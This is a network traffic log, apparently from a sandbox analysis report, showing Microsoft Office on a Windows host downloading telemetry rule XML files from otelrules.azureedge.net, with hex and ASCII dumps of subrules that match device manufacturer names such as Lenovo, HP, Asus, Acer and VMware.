2024-11-17 11:35:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:23 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113523Z-16547b76f7fqqjnnhC1DFWxv7400000002gg000000008bsn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:24 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9262989a-201e-0096-39af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113524Z-1866b5c5fbb7lvschC1DFW4rm000000004900000000049zp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:24 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:24 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 664ceb09-201e-0085-50bf-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113524Z-1866b5c5fbbxjblthC1DFW6b48000000029g000000000kmw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:24 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:24 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:24 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113524Z-16547b76f7fsq6p7hC1DFWfx6800000002t0000000001bk1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:24 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:25 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: ccb6a3a7-001e-0017-1ab5-370c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113525Z-16547b76f7fzwxm2hC1DFWt5hw00000001x0000000001n85 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:25 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5d8d4d17-101e-007a-18d2-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113525Z-16547b76f7fmcv27hC1DFWgpcg000000030g000000006vrp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:25 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113525Z-16547b76f7fpdsp9hC1DFW8f5000000001xg000000000zk2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:25 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 764b3efa-d01e-007a-4391-36f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113525Z-164f84587bfs5tz9hC1DFW9a3w00000004cg000000002na8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:25 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d8b8a82-001e-0066-1ad2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113525Z-16547b76f7fw2955hC1DFWsptc00000004tg000000002mbg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:27 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:27 UTC	498	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: b838fa63-a01e-001e-2d9b-3849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113527Z-1866b5c5fbbmp4h7hC1DFWxhww00000000x0000000003zh9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 11:35:27 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:27 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113527Z-16547b76f7fd4rc5hC1DFWkzhw00000004f000000000axsy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:27 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
